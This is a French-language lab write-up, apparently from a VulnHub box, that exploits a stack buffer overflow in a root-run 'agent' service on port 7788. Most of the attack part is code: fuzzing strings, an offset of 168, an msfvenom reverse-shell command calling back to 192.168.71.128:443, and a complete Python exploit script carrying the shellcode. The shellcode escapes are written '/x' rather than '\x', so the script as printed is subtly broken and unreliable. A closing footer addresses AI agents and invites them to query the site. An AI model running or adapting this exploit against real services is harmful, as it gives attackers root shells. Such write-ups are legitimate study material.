> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).

# Buffer Overflow Linux - Binaire Agent

{% hint style="info" %}
Le débordement de tampon suivant résulte d’une élévation de privilèges sur une machine VulnHub. Le binaire vulnérable est un exécutable appelé « agent » sur un système Linux. Voici la procédure complète pour exploiter le débordement de tampon :
{% endhint %}

## Exploitation du débordement de tampon :

**Identification du binaire « agent » :**

* Utilisez le `find` commande pour localiser le binaire nommé "agent" sur la machine.
* Le binaire 32 bits est trouvé avec un fichier texte indiquant son exécution par root sur le port 7788.

<figure><img src="/files/392dd43133d53c43eb0365ad1274a9a49f9f64b1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bc59a3bd3c0b89f3508f6d2e0a36b7d2fa90826b" alt=""><figcaption></figcaption></figure>

**Transfert du binaire avec Netcat :**

Utilisation de Netcat pour transférer le binaire de la machine vers l’équipement de l’attaquant.

<figure><img src="/files/bd239eaf400f3395077e5d6dbe45f8d9b79ff1c4" alt=""><figcaption></figcaption></figure>

**Analyse du code avec** [Ghidra ](https://ghidra-sre.org/)**:**

* Utilisation du logiciel Ghidra pour analyser le code source binaire.

<figure><img src="/files/fec13274467978c8c2507f4819abdbdc3bec8465" alt=""><figcaption></figcaption></figure>

* Identification de la variable "validcode" contenant l’identifiant du code en hexadécimal.

<figure><img src="/files/296437fa9bb1a767f25dfacef8cb7b06433698fa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/70368722d6a62e4c4dd58673937e5dee55c0e10e" alt=""><figcaption></figcaption></figure>

**Analyse du débordement de tampon :**

En utilisant la fonction « report() », détecter une vulnérabilité de débordement de tampon à l’aide de la fonction « gets ».

<figure><img src="/files/08b05a93df057afc23a38730a352ff38d7315425" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9f40aa8953bd7624674478af64e6ac2f403560bc" alt=""><figcaption></figcaption></figure>

**Exploitation du débordement de tampon avec GDB :**

<figure><img src="/files/ff90ce107c6f143d5f4ee13f4f402b51699417f9" alt=""><figcaption></figcaption></figure>

* Création d’une chaîne de 200 caractères « A » pour tester le débordement.

```python
python -c 'print("A"*200)'
```

<figure><img src="/files/81825cc7faf60cb30c25d41ac25cfc7e454b63d0" alt=""><figcaption></figcaption></figure>

Remarquez le remplacement de l’EIP (pointeur d’instruction) avec la commande « pattern create 200 ».

<figure><img src="/files/0da2f673cfc0ef304abe14fc564f84279456371a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5e329a0b22d6a999ecbf18aa1270fe65ae49b966" alt=""><figcaption></figcaption></figure>

* Identification de l’offset avec la commande « pattern offset $eip ».

<figure><img src="/files/4e65c4431581c37a6e9ef9ad8eb8b3fd4a9807e3" alt=""><figcaption></figcaption></figure>

* Vérification avec l’insertion d’une chaîne EIP de 168 A + 4 caractères B :

```python
python -c 'print("A"*168 + "B"*4)'
```

<figure><img src="/files/ae24cf48edf6d2c58b0d8106adb38cafa2828f8c" alt=""><figcaption></figcaption></figure>

* Validation des protections avec la commande « checksec ».

<figure><img src="/files/7fcd8ef48c9f1fd7d47f5a7f563cd253051748d6" alt=""><figcaption></figcaption></figure>

**Vérification de l’ASLR :**

Recherche des adresses statiques du binaire avec la commande « objdump -d agent | grep -i 'FF D0' ».

```bash
objdump -d agent | grep -i "FF D0"
```

<figure><img src="/files/6c9d266a2c9d8141b3d5ca3653255cb3fabff135" alt=""><figcaption></figcaption></figure>

**Création du shellcode pour le shell inversé :**

Utilisation de Metasploit pour générer un shellcode pour un shell inversé.

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```

<figure><img src="/files/665c24a751feb83cd4126003b42d4154a01ead40" alt=""><figcaption></figcaption></figure>

**Script Python pour l’opération :**/ Écriture d’un script Python pour se connecter au service vulnérable et exploiter le débordement de tampon.

```python
#!/usr/bin/python3 

from struct import pack
import socket 

shellcode = (b"/xbf/x11/x58/xbb/xb7/xdb/xd7/d9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/x02/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/xcf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")


offset = 168 
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("<I", 0x08048563) + b"/n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7788))
s.recv(1024)
s.send(b"48093572/n")
s.recv(1024)
s.send(b"3/n")
s.recv(1024)
s.send(payload)
```

<figure><img src="/files/d6042943b4d33d4d792117139f266fc55e9ca5cd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
